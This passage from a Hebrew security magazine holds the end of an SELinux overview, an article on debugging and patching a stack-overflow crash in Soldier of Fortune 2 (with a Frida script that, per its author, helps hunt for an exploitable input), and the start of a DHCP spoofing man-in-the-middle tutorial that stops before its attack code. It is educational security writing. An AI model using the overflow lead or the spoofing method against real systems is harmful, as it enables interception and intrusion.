. libSELinuxבעזרת ספריה שנקראת  user space-מה security server-נטענות ל policies-במקום זה. ה

Security context שמחושב ב-security server :היא מחרוזת הנראית כך 

 user::role::type::[range]  

 מעין תווית עבור הבקשה.

Access vector (AVהיא ) .מפת ביטים המייצגת הרשאות Access vector cache (AVC הוא רכיב )cache 

השונים כאמצעי ייעול.   object managers-ומשמש את ה security serverהמכיל את הבחירות שנעשו ב

-והשני יושב ב kernel-ושומר החלטות שנעשו עבור אובייקטים ב kernel-, האחד יושב בAVCישנם שני 

userspace ומספק שירות עבור משאבים הנמצאים ב-userspace . 

Object managers הם שורה של רכיבים היושבים ב-kernel space וב-user space  ואחראים למיתוג, ניהול

האחראי על סוקטים, אחד האחראי על  object managerואכיפה של גישה לאובייקטים תחת חסותם )ישנו 

-)כדי להתממשק עם קבצים, סוקטים וכו'( או ב kernel-היושבים ב object managersישנם  קבצים וכו'(.

user space כדי להתממשק עם שירותים כמו( postgres  .)וכיוצא בזה 

 SIDכאשר יש צורך בהחלטת גישה על בסיס סוג המשאב,  security server-קורא ל object manager-ה

גם  object manager-. הAV-( ורשימת הרשאותsecurity contextהמקור והיעד )ערך מספרי המייצג 

כגון בן אדם מנסה  ,יישותהוא  subject-ה חדש לאובייקט. SIDעל מנת לחשב  security server-משתמש ב

  קובץ(.קריאת )לדוגמא  ליצור פעולה כלשהיא באובייקט
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 בתצורתה המסובכת יותר: SELinuxשל  החלק העיקרימבלי לשים לב, תיארנו עד כה את 

 

 [the SELinux notebook 4th edition מתוך]

  Security context-מחרוזת ה

 נראית בצורה הבאה: security context-כאמור, ה

User::role::type::[range] 

החלק הראשון מתייחס למשתמש שמבצע את בקשת הגישה. הכוונה כאן אינה למשתמש לינוקס, אלא 

 . למה הכוונה? SELinux-מה שהוגדר בלמשתמש על פי 

הינם  SELinux-. המשתמשים אשר עשויים להיות בgal-ו dan ,aviמשתמשי לינוקס:  3נניח שישנם 

system_u ו-executer_uכלומר המשתמשים אשר קיימים ב .-SELinux  אינם המשתמשים אשר במערכת

)ויכולים להיות כמה  SELinux-שים בההפעלה. עם זאת, קיים מיפוי בין המשתמשים בלינוקס למשתמ

משתמש  SELinux-(. נשים לב שקיים בSELinuxמשתמשי לינוקס הממופים למספר כלשהוא של משתמשי 

 אשר מוקצה לשירותי המערכת. system_uמיוחד הנקרא 

SELinux תומכת ב-RBAC  עליה דיברנו בתחילת המאמר( וניתן למפות כל משתמש במערכת ההפעלה גם(

. החלק security context-ד אחד או יותר )לדוגמא מנהל, עובד וכו'(. התפקיד הוא החלק השני בלתפקי

 מתייחס לסוג האובייקט )קובץ, סוקט וכדומה(. typeהשלישי, 

מהי "רמת הסיווג" של  - MLSמימד של  security context-החלק הרביעי הוא אופציונלי ומאפשר להוסיף ל

 המידע.



 
 

SELinux: Linux - The Secure Way - חלק א' 

www.DigitalWhisper.co.il 

 20  2020 פברואר ,115גליון 
 

SELinux - the hands on way 

הוא נושא רחב ולכן, בחלק החלק הזה של המאמר נכנס רק לדברים הבסיסיים.  SELinux-נושא השימוש ב

 חלק ב', נרחיב על דוגמאות ושימושיים פרקטיים יותר. -במאמר הבא שיפורסם בנושא 

. security server-משמשות כמערכת הקבצים המתממשקות עם ה sys/fs/SELinux/וכן  SELinux/תיקיות 

, etc/SELinux/module/של המערכת והתיקיות  policies-מכילה קונפיגורציות ו etc/SELinux/תיקיית 

/var/lib/SELinux מכילות את ה-policy libraries  .הדרושות לתפקוד המערכת 

המכילה את כל הפונקציות הדרושות על מנת לבנות אפליקציות  libSELinuxהספריות בהן יש שימוש הן 

 kernel .Libsemanage-ב policiesמשמש כספריה לבנייה ושינוי קבצי  SELinux .Libsepol-הנעזרות ב

 .policies-משמשת לניהול תשתית ה

 (,policy)אכיפת  enforcing -מכיל את מצב הריצה של המערכת SELinuxקובץ הקונפיגורציות של 

permissive ה(-policy  או )הוטענה, אינה נאכפת ומעדכנת בלוגים של המערכת על חריגותdisabled ה(-

policy לא הוטענה ו-SELinux לא עובדת(. הקובץ קריטי למודל ה-SELinux  ושינויו/ מחיקתו תשפיע על

על המחשב. המכונה כאמור  Fedoraאופי העבודה של המודל. לצורך ההדגמה, השתמשתי במכונה של 

 מראש. ברירת המחדל היא שהתוכנה עובדת מראש: SELinuxמגיעה מובנית עם 
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 כפי שמבואר בקובץ הקונפיגורציות: SELinuxמאפשרת לראות את פרטי  sestatusפקודת 

 

על מנת לכבות חלקית את פעולתה. כאשר נפתח  permissive-ל SELinux-בדוגמא הנ"ל שינינו את מצב ה

 :SELinux-את קובץ הקונפיגורציות, נוכל לצפות ולשנות את מצב ה

 

 מאפשר ניהול הפוליסות והטמעתן במערכת: semanageהכלי 
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ים -boolean-והצגת כלל ה SELinuxובתמונות הבאות מוצגים המיפוי של משתמשי מערכת למשתמשי 

 :SELinux-וקים בהמשמשים לבניית הח

 

 

 .semanageוכן  seinfo, sesearchבהן יש שימוש, ניתן להשתמש בפקודות  policies-על מנת לצפות ב
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 סיכום

SELinux  היא מודל לינוקסי עם קונספט חכם, אבל חשוב לזכור שהיא לא תעצור חולשותkernel  או

malware  ,מלהגיע אל המערכת או אל הזיכרון, אבל היא תקטין את ההשפעות של פעולה כזו. עם כל זאת

והגדרה נכונה  best practices-חשוב לזכור שחוזק הכלי טמון בשימוש נכון בו ולכן חשוב לשים לב ל

 וממוקדת ביותר של החוקים.

ושים פרקטיים בה לטובת חיזוק בחלק זה למדנו על המערכת מהבסיס, בחלק הבא נראה דוגמאות לשימ

 ההגנה של מערכת ההפעלה לינוקס.

  

 על המחבר

כעת  .גדולות וקטנות וייעוץ לחברות בדיקות חדירותמתעסק ב חוקר אבטחה עצמאי, ,23עדי מליאנקר, 

  .OSCE-בדרך ל

 

 רשימת מקורות

 Your visual how-to guide for SELinux policy enforcement 

 The SELinux notebook 4th edition  

 https://SELinuxproject.org/page/Main_Page 

 https://wiki.centos.org/HowTos/SELinux 

 https://access.redhat.com/documentation/en-

us/red_hat_enterprise_linux/5/html/deployment_guide/ch-SELinux 

 https://www.cyberciti.biz/faq/what-is-SELinux/ 

 https://coreos.com/os/docs/latest/SELinux.html 

 https://en.wikipedia.org/wiki/Security-Enhanced_Linux 

 

 
  

https://selinuxproject.org/page/Main_Page
https://wiki.centos.org/HowTos/SELinux
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/ch-selinux
https://www.cyberciti.biz/faq/what-is-selinux/
https://coreos.com/os/docs/latest/selinux.html
https://en.wikipedia.org/wiki/Security-Enhanced_Linux
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Fixing 18 Years Old Game With Time Travel 
 מאת תומר זית

 הקדמה

בערך בבית של השכן שלי שמוליק, לשמוליק יש אחות בשם אורית  2331הסיפור שלי מתחיל בשנת 

עבדו עם  Excent technology .Excent technologyלמשחקי מחשב בחברת  QAשעבדה בזמנו בתפקיד 

Yahoo Games  והיתה להם גישה כמעט לכל משחק אפשרי. שמוליק שאל אותי ביום ההוא אם אני רוצה

, בעלה ועוד כמה חברים שלהם. כמובן שהתשובה שלי הייתה כן בלי אורית, מחברייללכת לשחק עם כמה 

... אוריתרה של במשרדים של החב Soldier Of Fortune 2למצמץ. שבוע לאחר מכן כבר שיחקנו איתם 

לפני וגם לא לכולנו היו  Soldier Of Fortune 2-כמובן מיותר לציין שקרעו לנו את הצורה כי לא שיחקנו ב

 מחשבים שיכלו להפעיל את המשחק... אבל נהננו בטירוף! 

, מאז היינו מתאספים בבית שלי כל כמה זמן למשחק של Soldier Of Fortune 2שם התחיל הרומן שלי עם 

Soldier Of Fortune 2  ,גם כדי להתאמן וגם סתם כדי להנות. העניין אף נהפך למסורת... שנה לאחר מכן

לי מחשבים". הייתי עוזר למנהל החנות לתקן -, התחלתי לעבוד בחנות מחשבים בשם "רז14בתור ילד בן 

(. בזמן שהייתי בודק את Lan Partyמחשבים ובין היתר עזרתי לו להכין מין חנות למשחקי רשת )

שקל לשעה כדי לשחק בהם ולנסות להביס אותי,  15המשחקים בחנות, ילדים היו משלמים מחיר זעום של 

, כזה שהיה תופס לאמא שלי את k56 -אחרי משחקים רבים באינטרנט )כן רווי ניסיון אולם אני כבר הייתי 

(. אז בגלל לי עם המחשב הראשון שלי  הטלפון ומפריע לה לתקשר עם היקום, אבל היא שמחה שכיף

שכבר הייתה לי גישה לחנות משחקי רשת, קבעתי עם שמוליק שיביא את אורית והחברים ונעשה משחק 

אנחנו כבר לא היינו כאלה גרועים, הבאנו את הגביע הביתה! כך גם ראינו לראשונה  אלא שהפעםחוזר. 

 שמבוגרים יכולים להתעצבן ממשחק מחשב... 

עבורי הגיע הזמן להסביר למה ואיך  Soldier Of Fortune 2חרי שהבנתם את הערך הסנטימנטלי של אז א

... לפני שנתיים בערך, חברים שלי רצו לארגן משחק רשת כדי לחזור ולשחק כמו הפרוייקט הזה נולד

ס . התחלנו להתקין את המשחק במספר מחשבים אבל המשחק קרלהחזיר עטרה ליושנהבימים הטובים: 

בבקשה  Good Old Games-במחשבים ניידים החדשים וזה השאיר אותנו ללא יכולת לשחק. שלחתי מייל ל

למכור את המשחק דרכם )קיוויתי שזה גם יפתור את התקלה והם ענו לי שהם לא יכולים לספר לי איזה 

זיקה, המשחק, משחקים הם ימכרו בעתיד ושזכויות על משחקים זה דבר מורכב כי הם קונים זכות על המו

ורעשי רקע בנפרד(. כמאמר הפתגם "אם אין אני לי, מי לי?" ולכן החלטתי לנסות ולתקן את המשחק 

 בעצמי.
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 מציאה והבנת הבאג

לא קשה במיוחד למצוא את הבאג, ברגע שפותחים את המשחק במחשב נייד חדש המשחק עולה לשנייה 

( בשביל לנסות ולהבין את מקור הבעיה. בתור x64dbgביט של  32-)גירסת ה x32dbg-וקורס, נשתמש ב

התחלה, על מנת שנוכל לדבג את המשחק, נצטרך להשתמש בארגומנט או דגל שיגרום למשחק לעבוד 

 .r_fullscreenבחלון ולא במצב של מסך מלא. לאחר חיפוש קצר באינטרנט נמצא הדגל 

 כדי להריץ את המשחק נשנה את שורת ההרצה ל: 

"SoF2MP.exe" +set r_fullscreen 0 

 

 עד אשר נתקל בשגיאה ונבחן מדוע המשחק קרס: F9 (Run)כעת נפעיל את המשחק, נלחץ על 

 

 

)הכתובת שבה  EIP, קוד שגיאה זה מרמז שהכתובת באוגר C0000005המשחק קורס עקב קוד השגיאה 

ללא הרשאות מתאימות )ריצה / קריאה / כתיבה( או שהכתובת אינה  )הנוכחית Assembly-רצה פקודת ה

 קיימת בזיכרון.
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 ומה הוא אומר: EIPכעת ננסה להבין מה הערך של האוגר 

 

. )לאלו מכם Stack Overflowמכיל מחרוזת במקום כתובת, דבר שיכול לרמז לנו על  EIP-מעניין, ערך ה

 (שי רודמאת  11בגיליון  Overflows Buffer 101שלא מכירים את המונח אני ממליץ לקרוא את 

ל את )שהיה אמור להכי EIP-ולא רק אוגר ה Stack-מתמלא חלק נרחב מה Stack Overflowכשיש 

נוכל אולי להבין את מקור  Stack-הכתובת חזרה לקטע קוד בפונקציה הקוראת( לכן אם נביט היטב ב

 התקלה.

לפני שהתוכנית קרסה ולהגיע לקטע הקוד  Stack-למרבה הצער אין לנו את היכולת לראות מה היה ב

חדשה בגירסה  WinDbg)גירסת  WinDbg Preview-שגרם לקריסה. לכן נשתמש בפיצ'ר מיוחד שיש ל

שמקליט  Time Travel Debuggingבשם  Microsoft)בחנות של  Windows 10-ניסיונית שאפשר להוריד ב

המלא של באגים  State-את ריצת התוכנית ומאפשר לנו לזוז קדימה ואחורה בזמן כדי לראות את ה

 שנגרמו בזמן הריצה.

 :WinDbg Previewעם  Time Travel Debuggingנפתח את התוכנית שלנו במצב של 

 

https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf
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 נגדיר את המיקום בו יישמרו ההקלטות:

 

 נחכה עד שהקלטה ותהליך האינדוקס יסתיימו:

 

 

תהליך זה יהיה כבד מהרגיל והוא עלול לקחת מספר דקות, אז אחרי שחיכינו בסבלנות בואו נמשיך בשלב 

 :(C0000005)הדיבאג, נריץ את התוכנית עד אשר היא תקרוס עם אותה הודעת שגיאה 

 

(, נזוז שתי צעדים אחורה בעזרת לחיצה כפולה על Step Intoכעת במקום לזוז בתוכנית צעד קדימה )

 :Step Into Backהכפתור 
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" _BRA)הפקודה שחוזרת מהפונקציה שנקראה(, בדיוק המצב בו קטע המחרוזת " RET-הגענו לפקודת ה

 Step Over Backותגרום לקריסה. אנחנו בדרך הנכונה אך זה לא מספיק אז נלחץ על  EIP-תכנס לאוגר ה

 פעמים( עד שנגיע לפונקציה הקוראת: 19מספר פעמים )

 

כעת, אנחנו בדיוק בנקודה בה הפונקציה שלנו תקרא לפונקציה הסוררת, נשמור את הכתובת 

0x004bb34e  בצד ונייצר להBreakpoint ב-x32dbg תובת בעזרת נגיע לכCTRL + G  ונעשהToggle ל-

BreakPoint  בעזרתF2 למה לא להמשיך עם .WinDbg אתם שואלים, זה פשוט עניין של נוחות. ה-UI  של

x32dbg והניסיון שלהם לצייר את הערכים של האוגרים על גבי קוד ה-Assembly  מרגיש לי אישית יותר

כי הוא כלי  Windows-ל WinDbgנוח, חשוב לציין שאני לא רברסר במקצועי ואני מעודד אתכם ללמוד 

 :Windowsחזק מאוד וגם מאפשר לדבג דרייברים של 

 

כעת אנחנו מבינים שהתוכנית תקרוס מיד לאחר שהיא תדחוף מחרוזת ארוכה שמחזיקה ערך של משהו 

מייצג את  GL. התמונה התבהרה, logging-" למחסנית, כנראה כחלק מתהליך הGL_EXTENSIONSבשם "

OpenGL  אזGL_EXTENSIONS מכיל את רשימת ההרחבות לOpenGL- . 
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 . בינגו!F7פעם נוספת בעזרת הכפתור  Step Intoכדי להגיע לפונציה הבעייתית נאלץ לעשות 

 

לא  logששורת אינו מגיע מהמשתמש וכנראה חשבו  logשורת יוצרי המשחק ידעו )אני מקווה( שערך 

( האם זה אומר 5146היה  GL_EXTENSIONS-בייטים )במחשב הנבדק גודל ערך ה 4196-גדולה מ תהיה

ערך  Log-שהמשחק אינו פגיע )כרגע לא... עד שיוכח אחרת, כלומר אם ישנו חלק בקוד אשר כותב ל

כתובת השרת או משהו אחר בסגנון, המשחק יהיה פגיע. אם בא  \שהגיע מהמשתמש, למשל שם השרת 

הסקריפט הבא  Soldier Of Fortune 2-לכם לחפש מחרוזת שמגיעה מהמשתמש כדי למצוא חולשה ב

 בשבילכם!

import frida 
import sys 
 
session = frida.attach("SoF2MP.exe") 
script = session.create_script(r""" 
const log = ptr('0x004101E0'); 
Interceptor.attach(log, { 
    onEnter: function (args) { 
        const format = args[1].readCString(); 
        const index = format.match(/%\w/g).indexOf('%s'); 
        if (index !== -1) { 
            console.log(format.replace('%s', args[index + 2].readCString()).trim()); 
        } 
    }, 
    onLeave: function (retval) { 
        // console.log('[+] Returned from log: ' + retval); 
    } 
}); 
""") 
script.load() 
sys.stdin.read() 
session.detach() 

)מתרגם רק את  Log-ומדפיס למסך את שורת ה Logging-לפונקצית ה Hookשמייצר  Fridaזהו סקריפט 

 (.String-פורמט ה
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 תיקון הבאג

 Logging -הדרך הפשוטה ביותר לתקן את הבאג תהיה להוריד את שורת הקוד אשר קוראת לפונקצית ה

יהיו עוד מחרוזות כאלה בעתיד וגם כדי , אך כדי להיות בטוחים שלא GL_EXTENSIONSעם הערך של 

 להיות מוגנים ככל האפשר עדיף למחוק את הפונקציה.

 

בשנית, נשתמש  x32dbgנפתח את  ,SoF2MP.exe.patchבשם  SoF2MP.exeנתחיל בלייצור עותק לקובץ 

-הכתובתה של פונקצית  - 0x004101e0כדי להגיע לכתובת הרצויה )הפעם היא תהיה CTRL + G -שוב ב

Logging 0(, נלחץ לחיצה כפולה על שורהx004101e0  ונחליף את שורת הקודMOV EAX, 0x1000 ל-RET . 

 

  כעת, לאחר שעשינו את השינויים הדרושים, הגיע הזמן להכניס אותם לקובץ ההרצה. נעשה זאת בעזרת

 :Patch Fileשם נלחץ על  Patches-שיפתח לנו את ה CTRL + Pהקיצור 

 

 :Saveונלחץ על  SoF2MP.exe.patchנבחר את העותק ששמרנו בצד בשם 

 



 
 

Fixing 18 Years Old Game With Time Travel 

www.DigitalWhisper.co.il 

 32  2020 פברואר ,115גליון 
 

 :SoF2MP.exe.patchבעותק שלו  SoF2MP.exeכמעט סיימנו! כל מה שנשאר הוא להחליף את הקובץ 

 

  המשחק עובד, תהנו! 

 

 תוספות

זה  4:3המשחק עובד וזה ממש מגניב, אבל הרזולוציות משחק קצת פחות מתאימה לעולם המודרני )יחס 

 ...(. אז בואו ננסה לתקן את זה כדי להעצים את חווית המשחק.2333כלכך שנת 

כדי לראות את כל המחרוזות. לאחר שחיפוש המחרוזות  F12ונלחץ על  IDA-נפתח את המשחק ב

 " )הרזולוציה בברירת מחדל(:640x480כדי לחפש את המחרוזת " CTRL + Fהסתיים, נלחץ על 

 

 כעת אחרי שמצאנו את מה שחיפשנו נכנס לכתובת בה המחרוזת נמצאת לראות מה עוד יש שם:
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" יש 320x240מעניין, ישנן עוד מחרוזות רזולוציות שונות אך רק למחרוזת אשר מכילה את הרזולוציה "

Referenceתהיה לנו דרך להחליף את הרזולוציה. , אולי שם 

 ונראה מבנה מוזר בזיכרון: Reference-נכנס לכתובת בה נמצא ה

 

-ל db-נראה שזה מה שאנחנו צריכים אז אולי אם נסדר את המבנה קצת )נחליף את גודל המשתנים בו מ

dd בעזרת הכפתור D  המספרים מתחת למציביעים בזיכרון מ 2ונחליף את הצגת-Hex ל-Decimal הוא )

 יהיה ברור יותר:

 

עכשיו יש לנו מבנה בזיכרון שמחזיר את הרפרנס למחרוזת של הרזולוציה, אורך ורוחב המסך. 
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ברזולוצית המסך  640x480מה שנשאר זה רק לייצר סקריפט קטן שיחליף את רזולוצית ברירת המחדל 

 שלנו:

import re 
import ctypes 
import struct 
 
 
def byte_to_int(value): 
    return struct.unpack("<I", value)[0] 
 
 
# Find Resolution String 
sof2mp = open("SoF2MP.exe", "rb").read() 
base_address = 0x400000 
offset = sof2mp.find(b"Mode  3: 640x480") 
if not offset: 
    raise Exception("Resolution String Not Found!") 
 
# Find Resolution String Reference 
string_reference = struct.pack("<L", base_address + offset) 
result = re.search(string_reference + br"(?P<width>.{4})(?P<height>.{4})\x00\x00\x80\x3F", sof2mp) 
if not result: 
    raise Exception("Resolution Reference Not Found!") 
 
print(f"Resolution Found: {byte_to_int(result.group('width'))}, {byte_to_int(result.group('height'))}.") 
 
# Get System Resolution 
GetSystemMetrics = ctypes.windll.user32.GetSystemMetrics 
width, height = GetSystemMetrics(0), GetSystemMetrics(1) 
 
# Replace Resolution To System Resolution 
replace_from = result.group(0) 
replace_to = replace_from.replace( 
    result.group('width') + result.group('height'), 
    struct.pack('<I', width) + struct.pack('<I', height) 
) 
 
# Save 
open("SoF2MP.exe.backup", "wb").write(sof2mp) 
open("SoF2MP.exe", "wb").write(sof2mp.replace(replace_from, replace_to, 1)) 
 
print(f"New Resolution: {width}, {height}.") 
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 כעת נריץ את הסקריפט והרזולוציה במשחק תתחלף לרזולוצית המסך שלנו:

 

 

 סיכום

אפשרי לתקן משחק ישן לפעמים שווה להשקיע את הכמה אל תוותרו לעצמכם אפילו אם זה נשמע בלתי 

שעות ובכל מקרה לנסות לתקן אותו, לפעמים זה אפילו מצליח. אם אתם מפתחים תחשבו על העתיד 

בייטים מספיקים לכם היום, אין לדעת מה יהיה בעתיד. ואם כבר הגבלתם  4196-המאוד רחוק, אפילו ש

ורת הלוג כדי שתכנס למשתנה הרצוי מאשר להקריס את את מספר הבייטים תמיד עדיף לחתוך את ש

 התוכנית לחלוטין )ואף לייצר פרצת אבטחה(.

אני מקווה מאוד שהמאמר שלי נתן לכם השראה לפרוייקטים חדשים ואולי אפילו יתן לכם כלים חדשים 

 לעבוד איתם.

 וקיים...כבר מוכרים את המשחק דרכם, הבאג עדיין חיי  Good Old Games-נ.ב. למרות ש
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 קישורים בנושא

 https://www.gog.com/game/soldier_of_fortune_ii_double_helix_gold_edition 

 https://www.khronos.org/registry/OpenGL-Refpages/es2.0/xhtml/glGetString.xml 

 https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf 

 https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86 

 https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-

debugging-overview 

 https://x64dbg.com/ 

 https://frida.re/ 

 http://github.com/realgam3/SOFII_Patcher 

 

 תודות

תודה לכל החברים שלי שלחצו עליי לתקן את המשחק בשביל שנוכל לחזור לשחק כמו פעם ותודה 

 לריענון הזיכרון!לאורית שמוליק ואוסנת )אישתו של שמוליק( על השיחות 

https://www.gog.com/game/soldier_of_fortune_ii_double_helix_gold_edition
https://www.khronos.org/registry/OpenGL-Refpages/es2.0/xhtml/glGetString.xml
https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf
https://www.microsoft.com/en-us/p/windbg-preview/9pgjgd53tn86
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview
https://x64dbg.com/#start
https://frida.re/
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 על המחבר

 ( תומר זיתRealGame:)  חוקר אבטחת מידע בחברתF5 Networks  וכותבOpen Source. 

o  :אתר אינטרנטil.co.RealGame.www://http 

o  :אימיילcom.gmail@realgam3 

o GitHub :realgam3/com.github://https 

  

http://www.realgame.co.il/
mailto:realgam3@gmail.com
https://github.com/realgam3
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DHCP Spoofing Attack 

 SnipSkill)) דן בוגנים

  

 הקדמה

, פרוטוקול המהווה בסיס מרכזי DHCPאני מניח שרובכם מכירים או לפחות שמעתם על הפרוטוקול 

ענק של ארגונים ותעשיות גדולות. במאמר זה אציג  בכמעט כל רשת, מרשתות בייתיות ועד רשתות

כיצד תוקף אשר נמצא ברשת יכול לנצל את העובדה ששאר  -מתקפת רשת המבוססת על הפרוטוקול 

המחשבים ברשת מצפים לקבל את פרטי החיבור שלהם לרשת דרך שרת מרכזי מבלי לבדוק יותר מדי 

 את זהותו.

 ( אשר יממש את המתקפה.Scapy-סקריפט פייתון )עם שימוש במעבר ללמידה התיאורית, נכתוב יחד 

ועל אופן הפעולה שלו )באחד מהקישורים  מאוד לקרוא לעומק על הפרוטוקול אני ממליץלפני שנתחיל, 

שמסביר איך עובד  RFC-ה הוא RFC 2131לרציניים ביותר, ) בקצרה. זאתלמטה( אם כי במאמר זה נסקור 

לדעת לתכנת בשפת ( פירוטיתר אך לא חובה, שכן אסביר את הקוד ב) ץכמו כן, מומל. הפרוטוקול(

Python ספרייה ב אופן השימוש ולהכיר אתScapy המאפשרת לשלוח ולהסניף פקטות היוצאות , סיפרייה

באופן עצמאי יצורפו בדף  Scapy-ו Pythonומתקבלות מכרטיסי הרשת של המחשב. קישורים ללימוד 

 הקישורים שבסוף המאמר.

 

  DHCPעל הפרוטוקול 

הוא פרוטוקול המספק ללקוח המעוניין  Dynamic Host Configuration Protocolאו  DHCPפרוטוקול 

 להתחבר לרשת מקומית, פרטים על הרשת, לדוגמה:

 הרשת המקומית  טווח- Subnet Mask 

 ה כתובת-IP של הנתב 

 ה כתובת-IP ה של שרתי-DNS 

המקומית שתהיה למחשב  IP-ה שמספק את הפרטים האלו, מספק גם את כתובת DHCP-ה כמו כן שרת

 מספק DHCP-ה שרוצה להתחבר לרשת, על מנת שיוכל לתקשר עם הנתב, ישנם עוד פרטים ששרת

 ללקוח אך הם פחות חשובים למאמר זה.

הפרוטוקול נבנה על מנת לאפשר ללקוחות חדשים להצטרף אל הרשת ולהשתמש בה וגם בכדי להקל את 

 באופן ידני לכל אחד ואחד מהלקוחות. IPעבודתם של מנהלי הרשת בהקצאת כתובות 
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 D.O.R.A-תהליך ה

הוא התהליך המתבצע כאשר לקוח מבקש להתחבר לרשת, התהליך כולל  D.O.R.Aהתהליך שנקרא 

 ארבעה שלבים:

על  היא ההודעה הראשונה שנשלחת על ידי הלקוח ברחבי הרשת )כלומר DHCP Discover הודעת .1

ידע  DHCP-ה ( וזאת על מנת ששרתBroadcastלכל המשתמשים לאופן השליחה הזה קוראים 

 שהלקוח רוצה להתחבר לרשת.

והיא מכילה את  Discover-ה על הודעת DHCP-ה היא ההודעה איתה עונה שרת DHCP Offer עתהוד .2

 אותה השרת מציע ללקוח. IPכתובת 

-ה היא ההודעה השלישית בתקשורת אותה שולח הלקוח כתגובה להודעת DHCP Request הודעת .3

Offer ה והיא נשלחת על מנת לומר לשרת-DHCP  שהלקוח מקבל את ההצעה ומוכן לקבל פרטים

 נוספים על הרשת.

אותה שולח השרת  D.O.R.A-ה היא ההודעה האחרונה כחלק מתהליך DHCP Acknowledge הודעת .4

 ללקוח בה נשלחים פרטים נוספים על הרשת.

להסנפת הפקטות ברשת המקומית שלכם והכניסו את הפילטר  Wireshark על מנת לחזות בתהליך, פתחו

dhcp ה על מנת לראות אך ורק את פקטות-DHCP. 

 

אנו אכן רואים  1, בתמונה Broadcast-שכל ההודעת גם מצד הלקוח וגם מצד השרת נשלחות ב :לב שימו

זוכר את  כי ההודעות שנשלחו מהנתב נשלחות ישירות אל המחשב שלנו אך זה קורה מאחר והנתב

 .המחשב שלנו
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 MITMמתקפות 

גורם שלישי מצליח להכניס את בה רשת סוג של מתקפות  ןה Man In The Middle או MITM מתקפת

התוקף מצליח במספר מתקפות  בלא ידיעתם. מדברים אחד עם השניהשני מחשבים עצמו בתווך שבין 

אך  .הם באמת מדברים אחד עם השנילהתחזות לכל אחד מהמחשבים בנפרד ולגרום להם להאמין כי 

 בפועל, כל מחשב שולח את המידע אל התוקף והתוקף מעביר את המידע אל המחשב השני.

 

. אך MITMגם מתקפת  הינהעליה נתמקד במאמר זה  DHCP Spoof-ה כמו שכבר בטח ניחשתם, מתקפת

ממליץ בחום לקרוא, חלקן קלות כמוה ישנן עוד הרבה מתקפות מגוונות ומעניינות מהסוג הזה עליהן אני 

 באופן מפחיד למימוש למשל:

  מתקפתArp Spoofing  בדף הקישורים(רזיאל בקר )מצורף מאמר שכתב 

  מתקפתICMP Redirect 

  מתקפתNBNS Spoofing )מצורף מאמר שכתב אפיק קסטיאל בדף הקישורים( 

 

 DHCP Spoof הסבר קצר על איך עובדת מתקפת

נעשה  D.O.R.A-ה אחרות מתרכזת בעובדה שתהליך MITMכמו הרבה מתקפות  DHCP Spoof-ה מתקפת

 האמיתי שיתקשר איתו. DHCP-ה על שרתסומך ושהלקוח Broadcast -כולו ב

לאחר  ,DHCP Discover המתקפה מתחילה כאשר הלקוח רוצה להתחבר לרשת ולשם כך שולח פקטת

 .DHCP Offerשליחת הפקטה, התוקף עונה ללקוח בהודעת 

שלח אותה ועונה לה כרגיל עם  DHCP-ה הלקוח, שרואה את ההודעה ששלח התוקף, חושב כי שרת

אך הודעה זו, בשונה   DHCP Acknowledgeולאחר מכן התוקף עונה לו בהודעת DHCP Request הודעת

 משאר ההודעת, תהיה שונה ותהווה את הבסיס למתקפה! 

 IP-ה של הנתב תהיה בעצם כתובת IP-ה ללקוח, כתובתששלח התוקף   DHCP Acknowledge-ה בהודעת

של מחשבו של התוקף, כך שכל פעם שהלקוח ירצה לגלוש ברשת, למשל, להתחבר לפייסבוק, פרטי 
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ההתחברות שלו יגיעו לשרתי פייסבוק דרך מחשבו של התוקף, ולא דרך הנתב המקומי, וזו הסכנה 

 .MITMובכלל במתקפות  DHCP Spoof-ה הגדולה במתקפת

 

  Scapyהסבר קצר על

שמאפשרת להסניף ולשלוח פקטות,  Scapy כפי שהסברתי מוקדם יותר, את הקוד נממש בעזרת הספרייה

ספרייה זו שימושית בשבילנו שכן נרצה לדעת מתי לקוח חדש רוצה להתחבר לרשת, וכמו כן, נרצה 

 מנת לבצע את המתקפה.( על DHCP Offer, DHCP Acknowledgeלשלוח לו את הפקטות המתאימות )

 מי שמכיר את הספרייה מוזמן לדלג על החלק הבא ולהגיע ישר לחלק בו נכתוב את המתקפה.

 :לוח פקטות ואדבר על כל אחת בקצרהכעת אציג את הפונקציות השונות שמאפשרות לנו להסניף ולש

sniff(count, lfilter, prn, timeout) 

פקטות שנכנסות ויוצאות מהמחשב שלנו, הפונקציה מקבלת מספר מאפשרת לנו להסניף   sniffהפונקציה

 :פרמטרים אופציונלים

 Count  ← הפרמטר הזה מקבל מספר חיובי והוא מעיד על כמות הפקטות שאנו נרצה להסניף עד

 :שהפונקציה תפסיק, למשל

sniff(count = 2) 

( של הפקטות arrayפקטות ואז תעצור. כמו כן, הפונקציה מחזירה מערך ) 2במקרה זה, הפונקציה תסניף 

אותה היא הסניפה ולכן אם תרצו לנתח את הפקטות שהסנפתם בהמשך, תוכלו להקצות את הפונקציה 

 למשתנה באופן הבא: 

 

 

 

 

 lfilter  האות(L  )ציה, הפונקציה מקבלת כפרמטר פקטההפרמטר הזה מקבל פונק← קטנה 

בהתאם, אם הפונקציה תחזיר   Falseאו  Trueוהפונקציה בודקת את הפקטה ומחזירה ,שהוסנפה

True  .דוגמה: הפקטה תישמר, אחרת הפקטה תיזרק 
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 Prn  ←את הפונקציה ועברה הפרמטר הזה מקבל פונקציה, הפונקציה מקבלת פקטה שהוסנפה 

 :מידה וניתנה פונקציה לפרמטר הזה()ב lfilter שניתנה בפרמטר

 

 timeout ←  הפרמטר הזה מקבל מספר )בשניות( המייצג את כמות הזמן שעל הפונקציה לעבוד עד

 אשר היא צריכה להפסיק.
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send(x) ו-sendp(x) 

הראשון שהפונקציה תקבל, יהיה הפקטה ,  xמאפשרת לנו לשלוח פקטות, הפרמטר sendהפונקציה )(

הוא שהראשונה שולחת את הפקטות  sendp)(-ו sendההבדל בין הפונקציות )( אותה נרצה לשלוח.

